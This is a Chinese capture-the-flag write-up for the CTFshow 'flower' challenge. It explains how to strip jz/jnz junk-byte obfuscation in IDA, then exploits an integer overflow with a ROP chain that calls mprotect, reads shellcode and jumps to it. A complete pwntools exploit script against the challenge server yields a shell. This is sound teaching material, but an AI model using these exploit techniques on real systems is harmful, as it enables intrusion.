CTFshow 内部赛 flower RE+PWN

re是时候该学学了，不能只局限于pwn啊，搞二进制的，逆向是最重要的基本功。

不得不说，内部赛这三题都不是善茬，第一题考ret2csu，第二题考MIPS架构下栈溢出，这第三题直接就re和pwn合体了。。。

首先映入眼帘的是main函数，但奇怪的是’F5大法’貌似失效了（按键已经按烂了），失效就算了还没给任何报错提示。。。虽然之前也遇到过这种情况，但报错信息显示是因为某处指令为call了一个寄存器，ida无法反汇编出来，这种题一般属于ret2shellcode的题。那现在我们只好一步步分析汇编代码，这里scanf后跳转到了一个地方（奇怪，这个jz和jnz就挺莫名其妙的），继续跟进

这里先做了个判断，如果之前scanf的值大于0xA则程序终止，反之根据那个值来read。我在没意识到这是个花指令题之前，以为是一道纯读汇编代码的题，直觉告诉我%d意味着这可能要用到整数溢出，但我证明不出来，遂罢。

现在让我们再回到那个奇怪的jz和jnz那里，这其实相当于一个jmp，但是如果直接用jmp的话，反编译器其实是能识别出这一种最简单的花指令的。这个花指令对应的结构如下：

asm
{
  jz Label
  jnz Label
  db thunkcode;垃圾数据
Label:
}

于是我们把这一段花指令给nop掉，这样main函数的执行逻辑就干净多了

但nop之后，发现还是不能‘F5大法’，这是为什么呢？原因在于左侧function栏ida不认为main函数存在，所以无法反汇编这一段区域

这里我们只要改sub_400A30的start address为main函数的起始地址0x4009AE即可，也可以顺便把name也改为main，之后就能惊奇的发现，左边text段标识变黑色了，可以反汇编了

可以看到scanf是%d，比较时是int，但v17的数据类型却是unsigned int，后面的read也是unsigned int，这就出现了整数溢出问题。在开始构造payload之前，要说明这个文件是静态编译的，无法进行ret2libc，但同时也给我们提供了大量的ROPgadget。进过寻找，没有发现system函数，于是只能ret2shellcode来进行系统调用了，不过未发现可执行可写入程序段，那该怎么办呢，这时拿出一个利器，mprotect函数，原型如下：

int mprotect(void *addr, size_t len, int prot);

addr 内存启始地址

len  修改内存的长度

prot 内存的权限

注意：起始地址（addr）必须为一个内存页(4K)的起始地址（地址后三位为000）；prot设置为7，意为赋予可读可写可执行权限。

好的，现在假设我们已经mprotect完，并且已经向那个addr写入shellcode了，该怎么去执行它呢，这里我只想出了两种思路，1.栈迁移，2.ret2reg。我觉得2简单一些，就用2了。

这里ROPgadget搜call出来，发现寄存器应有尽有啊。

直接给出exp了，至于最后为什么选择了call rsi，可以好好想想哦：

from pwn import *
#io = process('./flower')
io = remote('pwn.challenge.ctf.show',28257)
elf = ELF('./flower')
context.arch = 'amd64'
context.log_level = 'debug'

io.sendlineafter(b'Plz Input Your weight(kg):\n> ',b'-1')

read = elf.symbols['read']
mprotect = elf.symbols['mprotect']
pop_rdi = 0x401696
pop_rdx_rsi = 0x442e69
bss = elf.get_section_by_name('.bss').header.sh_addr         #0x6CBB60
start = 0x6cb000
payload = cyclic(0x50+8) + p64(pop_rdi) + p64(start) + p64(pop_rdx_rsi) + p64(7) + p64(0x100) + p64(mprotect) #mprotect()
payload+= p64(pop_rdi) + p64(0) + p64(pop_rdx_rsi) + p64(0x100) + p64(start) + p64(read)                      #read()

call_rsi = 0x40e1e1
payload+= p64(call_rsi)

io.recvuntil(b'your name??\n> ')
io.sendline(payload)

shellcode = asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()